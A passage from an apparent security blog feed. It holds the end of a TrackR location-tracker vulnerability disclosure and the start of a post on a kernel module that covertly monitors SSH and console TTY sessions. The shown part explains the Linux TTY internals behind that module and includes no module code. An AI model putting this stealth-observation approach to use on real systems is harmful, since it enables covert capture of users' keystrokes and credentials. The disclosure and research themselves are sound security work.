tracker. This would allow the system to separate real tracker IDs from forged ones.</p><p>To further reduce the risk of brute-force attempts, the Tracker ID should be extended beyond the six bytes that are currently used. A larger random value significantly increases security. In addition, all location update requests should require authentication, so that only authorized devices can report coordinates to the server.</p><h2>Impact</h2><p>The TrackR was founded in 2009. It is quite funny how serious this vulnerability is, considering the scale of the company and the little complexity of such a product.</p><blockquote><p>As of August 2017, over 5 million TrackR devices had been sold</p><p>Wikipedia</p></blockquote><p>Google play reports ~20k Users to have the application installed and 1 million downloads, yet other applications exist on other platforms, pointing to the same vulnerable API.</p><h2>Vulnerability Disclosure Time-table</h2><ul><li><p>15/02/2020 &#8212; Vulnerability Discovered</p></li><li><p>19/02/2020 &#8212; Vendor TrackR Notified via support email</p></li><li><p>28/02/2020 &#8212; Vendor TrackR Notified via support email</p></li><li><p>28/02/2020 &#8212; Vendor Adero Notified via adero.com (possibly parent company?)</p></li><li><p>04/03/2020 &#8212; Vendor TrackR notified via secondary sending email address</p></li><li><p>17/04/2020 &#8212; Cert Coordination Center Submission</p></li><li><p>25/04/2020 &#8212; Cert CC Replied with vendor&#8217;s contact info</p></li><li><p>6/05/2020 &#8212; Attempted to contact them multiple times</p></li><li><p>06/05/2020 &#8212; Published ( VU#762643 )</p></li></ul>]]></content:encoded></item><item><title><![CDATA[Kernel-Level Stealthy Observation of TTY Streams]]></title><description><![CDATA[TTY Subsystem Interposition for Covert Operations]]></description><link>https://blog.cybervelia.com/p/kernel-level-stealthy-observation-of-tty-streams</link><guid isPermaLink="false">https://blog.cybervelia.com/p/kernel-level-stealthy-observation-of-tty-streams</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Wed, 04 Feb 2026 11:46:35 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/a588be2f-062e-4f1e-8290-7d609e588477_1200x800.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>TL;DR</h2><p>I developed a kernel module to monitor tty connections (ie SSH Sessions, Terminal or Console sessions) in a stealthy way filtering only processes I am interested at. Instead of relying on direct system-call hooks, the approach comes from understanding how the kernel itself moves tty data and identifying a point in that path where observation can happen without drawing attention.</p><p>This article walks through that understanding of the Linux TTY subsystem, and the research journey that led me to that design.</p><div><hr></div><h2>A warm Intro to Linux TTY Subsystem</h2><p>If you&#8217;ve ever poked around the Linux kernel, you&#8217;ve definitely run into the term tty. It shows up everywhere, in device names, kernel code, boot logs - yet it&#8217;s rarely explained in a way that makes it feel approachable. The funny thing is, the tty subsystem isn&#8217;t complicated because it&#8217;s clever; it&#8217;s complicated because it&#8217;s old. And once you understand why it exists, the whole design starts to make sense.</p><p>The name tty comes from teletypewriter, back when interacting with a computer meant typing commands into a machine that physically printed characters onto paper. In those days, a tty was a real, physical device connected directly to a Unix system. But computers evolved, and terminals stopped being tied to a single piece of hardware. Serial connections appeared, terminals became remote, and the meaning of tty quietly expanded along the way.</p><p>Today, a tty is best thought of as anything that behaves like a character stream endpoint. Sometimes that endpoint is physical, a serial port, a USB-to-serial adapter, or a modem. Other times it&#8217;s entirely virtual. Linux virtual consoles, network logins, and xterm sessions all rely on tty devices under the hood. Different sources, same abstraction: characters go in, characters come out.</p><p>Making all of these wildly different devices look the same to user space is the job of the Linux tty driver core. It lives just below the standard character driver layer and acts as the glue holding the whole system together. Without it, every tty driver would need to solve the same problems over and over again.</p><p>The tty core handles two big responsibilities: how data flows and what that data looks like. This might sound simple, but it&#8217;s what allows tty drivers to stay simple. Instead of worrying about user-space semantics or input processing rules, drivers can focus on the one thing they actually care about: talking to hardware.</p><p>That&#8217;s where line disciplines enter the picture. A line discipline is a pluggable data processor that sits between user space and the tty driver. It can transform input, buffer it, interpret control characters, or enforce specific behavior. Different line discipline drivers exist for different needs, and the tty core can swap them in and out as required.</p><p>When a program writes data to a tty, the flow is predictable. The tty core receives the data first and passes it to the active line discipline. From there, it goes down to the tty driver, which converts it into something the hardware understands and sends it out. Incoming data makes the same trip in reverse, hardware to driver, driver to line discipline, line discipline to core, and finally back to user space.</p><p>Sometimes the tty core talks directly to the tty driver, skipping the line discipline entirely. But most of the time, the line discipline gets a chance to inspect or modify the data in transit. What&#8217;s important is that this layering is strict. The tty driver has no idea that a line discipline even exists. It never communicates with one, and it never needs to.</p><p>From the driver&#8217;s perspective, life is intentionally narrow. A tty driver formats outgoing data for the hardware and hands incoming data back to the core. That&#8217;s it. All higher-level behavior lives above it. The line discipline decides how the data should behave; the driver just moves bytes.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!V2qP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!V2qP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png 424w, https://substackcdn.com/image/fetch/$s_!V2qP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png 848w, https://substackcdn.com/image/fetch/$s_!V2qP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png 1272w, https://substackcdn.com/image/fetch/$s_!V2qP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!V2qP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png" width="376" height="220" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8ab923ad-6691-4008-8041-37a236fce7af_376x220.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:220,&quot;width&quot;:376,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:16148,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/186733350?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!V2qP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png 424w, https://substackcdn.com/image/fetch/$s_!V2qP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png 848w, https://substackcdn.com/image/fetch/$s_!V2qP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png 1272w, https://substackcdn.com/image/fetch/$s_!V2qP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ab923ad-6691-4008-8041-37a236fce7af_376x220.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h2>The Taxonomy of TTY</h2><p>In Linux, TTYs are usually described using a practical three-type taxonomy. This is a conceptual, user-visible way of thinking about terminals rather than a strict kernel-level classification. The kernel doesn&#8217;t have an enum for &#8220;TTY types,&#8221; but this model lines up well with how terminals behave and how users interact with them.</p><p><strong>Serial tty</strong></p><p>Serial ttys are the most straightforward and also the most historically accurate interpretation of a tty. These are backed by real hardware: physical serial ports, USB-to-serial adapters, and similar devices. Characters arrive from a wire, leave through the same path, and the tty layer exists mainly to make that hardware usable in a uniform way from user space.</p><p><strong>Console tty</strong></p><p>Console ttys exist even when no serial hardware is present at all. These are the virtual consoles you interact with directly on a machine, switching between them with key combinations. Here, the &#8220;device&#8221; on the other end is the kernel&#8217;s console subsystem, which turns keyboard input and screen output into a character stream that fits naturally into the tty model.</p><p><strong>Pseudo-terminal tty</strong></p><p>Pseudo-terminals (ptys) are entirely software-defined and always come in pairs. One end is exposed to a program as a normal tty, while the other end is controlled by another program, such as a terminal emulator or an SSH daemon. This pairing is what allows user programs to behave as if they are connected to a real terminal, even though no physical device exists.</p><h2>Core Components</h2><p>With the different tty types in mind, the next step is to look past <em>what</em> kind of tty we are dealing with and focus on <em>how</em> they all work. Regardless of whether the device is a serial port, a console, or a pseudo-terminal, they all pass through the same core components inside the kernel.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NUmw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NUmw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png 424w, https://substackcdn.com/image/fetch/$s_!NUmw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png 848w, https://substackcdn.com/image/fetch/$s_!NUmw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png 1272w, https://substackcdn.com/image/fetch/$s_!NUmw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NUmw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png" width="666" height="208" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:208,&quot;width&quot;:666,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:27359,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:&quot;&quot;,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/186733350?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!NUmw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png 424w, https://substackcdn.com/image/fetch/$s_!NUmw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png 848w, https://substackcdn.com/image/fetch/$s_!NUmw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png 1272w, https://substackcdn.com/image/fetch/$s_!NUmw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94ba05ea-c59b-45dc-9af5-f911c99fce66_666x208.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h3>TTY core</h3><p>The tty core is the component of the kernel that keeps everything in the tty world from turning into chaos. It sits above the actual tty drivers and below user space, and its main job is to make very different devices all look and behave like &#8220;a tty.&#8221; Whether the data is coming from a physical serial port, a virtual console, or a pseudo-terminal, the tty core provides the same basic interface and rules so user space doesn&#8217;t have to care what&#8217;s on the other end.</p><p>More importantly, the tty core is where the paths come together. It decides how data flows down to the driver and back up to user space, and it&#8217;s the layer that wires the line discipline into that flow. When a program writes to a tty, the core takes the data, hands it off to the line discipline, and then passes the result down to the driver. When data comes back from hardware, the core routes it upward the same way. From the outside, this all feels simple, but that simplicity is the result of the tty core quietly coordinating everyone else and enforcing a clean separation of responsibilities.</p><h3>Line Discipline</h3><p>Think of the line discipline as the part of the tty stack that decides <em>how</em> characters should behave, not just where they go. It lives quietly between the tty core and the tty driver, watching data pass by and shaping it when needed. When characters come from user space, the line discipline might collect them into lines, react to special keys, or just let them flow through untouched. Data coming back from the device takes the same path in reverse, possibly picking up meaning along the way.</p><p>This is why the same tty can feel like a friendly interactive terminal in one moment and a dumb byte pipe in another. The default line discipline, n_tty, is what gives you line editing, echo, and signals like Ctrl-C. Swap it out, and all of that behavior can disappear without touching the driver at all. The driver never knows this is happening; it just sends and receives bytes. All the &#8220;personality&#8221; of the tty lives in the line discipline sitting quietly in the middle.</p><h3>TTY driver</h3><p>At the bottom of the tty stack sits the tty driver, the piece that actually touches the &#8220;device&#8221; side of the equation. In this context, a device doesn&#8217;t necessarily mean a physical thing you can point at. Sometimes it really is hardware, like a serial port or a USB adapter. Other times it&#8217;s entirely software, such as a pseudo-terminal or a virtual console. What matters is that there is something on the other end of the tty that can send and receive characters, regardless of whether it exists in silicon or only in code.</p><p>The tty driver&#8217;s role is deliberately narrow. It doesn&#8217;t care about lines, control characters, or user-facing behavior. It doesn&#8217;t know which line discipline is active, or even that one exists at all. Its job is simply to take data handed down by the tty core, translate it into a form the underlying device understands, and push it out. Data coming back follows the same idea in reverse. By keeping drivers focused only on this boundary between the kernel and the device, Linux makes it possible to support a wide range of real and virtual devices while keeping the rest of the tty stack clean and consistent.</p><h2>Enter Pseudo-terminals</h2><p>A pseudo-terminal, or pty, is the tty subsystem&#8217;s way of connecting two programs together as if a real terminal sat between them. Unlike serial or console ttys, a pty is entirely software-defined and always comes as a pair: a master and a slave. The slave side behaves like a normal tty device and is what applications such as shells see and interact with, while the master side is controlled by another program, typically a terminal emulator or a remote login service like SSH. Anything written to the master appears as input on the slave, and anything written to the slave shows up on the master, with the tty core and line discipline sitting in the middle just as they would for a physical device. This pairing is what gives user programs the illusion of talking to a real terminal, even though both ends are just processes exchanging data through the tty infrastructure.</p><p>Let&#8217;s list the tty drivers.</p><pre><code>cat /proc/tty/drivers
/dev/tty             /dev/tty        5       0 system:/dev/tty
/dev/console         /dev/console    5       1 system:console
/dev/ptmx            /dev/ptmx       5       2 system
/dev/vc/0            /dev/vc/0       4       0 system:vtmaster
dbc_serial           /dev/ttyDBC   245       0 serial
ttyprintk            /dev/ttyprintk   5       3 console
max310x              /dev/ttyMAX   204 209-224 serial
serial               /dev/ttyS       4 64-111 serial
pty_slave            /dev/pts      136 0-1048575 pty:slave
pty_master           /dev/ptm      128 0-1048575 pty:master
unknown              /dev/tty        4 1-63 console</code></pre><p>As you may see the pty_slave and pty_master as shown. They are under /dev/pts and /dev/ptm device nodes.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5c7a!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5c7a!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png 424w, https://substackcdn.com/image/fetch/$s_!5c7a!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png 848w, https://substackcdn.com/image/fetch/$s_!5c7a!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png 1272w, https://substackcdn.com/image/fetch/$s_!5c7a!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5c7a!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png" width="812" height="727" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:727,&quot;width&quot;:812,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:65892,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:&quot;&quot;,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/186733350?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!5c7a!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png 424w, https://substackcdn.com/image/fetch/$s_!5c7a!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png 848w, https://substackcdn.com/image/fetch/$s_!5c7a!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png 1272w, https://substackcdn.com/image/fetch/$s_!5c7a!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336d1d0-e72b-4b65-b028-6b866c6f1451_812x727.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>TTY Types and Subtypes</h3><p>TTY devices in the kernel are organized using both types and subtypes, and together they describe what role a particular tty plays. The type answers the broad question first: is this a console, a system tty, a serial device, or a pseudo-terminal? Once that class is known, the subtype adds a finer level of detail. In the case of pseudo-terminals, for example, the subtype distinguishes what kind of pty we are dealing with and how it should behave inside the tty core. That distinction is what allows the same infrastructure to support different tty classes cleanly, and why the subtype values become especially interesting when you narrow the focus to ptys.</p><pre><code>/* system subtypes (magic, used by tty_io.c) */
#define SYSTEM_TYPE_TTY&#9;&#9;&#9;0x0001
#define SYSTEM_TYPE_CONSOLE&#9;&#9;0x0002
#define SYSTEM_TYPE_SYSCONS&#9;&#9;0x0003
#define SYSTEM_TYPE_SYSPTMX&#9;&#9;0x0004

/* pty subtypes (magic, used by tty_io.c) */
#define PTY_TYPE_MASTER&#9;&#9;&#9;0x0001
#define PTY_TYPE_SLAVE&#9;&#9;&#9;0x0002

/* serial subtype definitions */
#define SERIAL_TYPE_NORMAL&#9;1</code></pre><h2>Master and Slave Pair</h2><p>Each pseudoterminal session has a master and a slave node.</p><p><strong>Who Writes to the PTY Master?</strong></p><p>The master end of a PTY is written to by terminal-controlling processes - typically programs that act like a user or terminal emulator. These programs simulate user input and capture output from the other side (slave).</p><p><strong>Directly reading and writing to slave</strong></p><p>So if you are a terminal emulator process, you write and read from a master device via the tty infrastructure. The master device reads and writes to the slave device. The bash (which could be a device connected to the slave - done via user-space) can read and write directly to the slave device, reading (simulates a program capturing terminal output) and writing (simulates output from a process) to it.</p><h2>Writing Data Flow</h2><p>When a program writes data to a tty, it all starts with an ordinary write() system call on a device file. From user space this looks no different than writing to any other file, but the VFS quickly recognizes that the file is backed by a tty and redirects the call into the tty core. The tty core takes over as the traffic controller: it receives the data, keeps track of how much is being written, and then hands it down to the tty driver through its write callback.</p><p>When a program writes data to a pty master, the flow looks familiar at first but quickly diverges from the usual tty model. The write begins with a normal write() system call on the master file descriptor, which the VFS routes into the tty subsystem. From user space, this is indistinguishable from writing to any other device.</p><p>Inside the kernel, however, the pty master does not forward data toward hardware. Instead, the master&#8217;s write handler immediately redirects the data into the receive path of the paired slave. The data is inserted into the slave&#8217;s flip buffer using helpers like <code>tty_insert_flip_string()</code>, and processing is triggered with <code>tty_flip_buffer_push()</code>. At this point, the line discipline of the slave takes over, processing the incoming bytes exactly as if they had arrived from a physical device.</p><p>Once the line discipline has consumed the data, the tty core wakes up any process blocked on reading from the slave. From the reader&#8217;s point of view, the data simply appears on the slave tty. This is what makes a pty pair feel like a real terminal: writes to the master are transformed into input events on the slave, with the tty core and line discipline quietly bridging the two.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2UDR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2UDR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png 424w, https://substackcdn.com/image/fetch/$s_!2UDR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png 848w, https://substackcdn.com/image/fetch/$s_!2UDR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png 1272w, https://substackcdn.com/image/fetch/$s_!2UDR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2UDR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png" width="741" height="725" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:725,&quot;width&quot;:741,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:90297,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/186733350?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2UDR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png 424w, https://substackcdn.com/image/fetch/$s_!2UDR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png 848w, https://substackcdn.com/image/fetch/$s_!2UDR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png 1272w, https://substackcdn.com/image/fetch/$s_!2UDR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8ad0a0-916f-4229-8457-11ee1fa6be23_741x725.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg 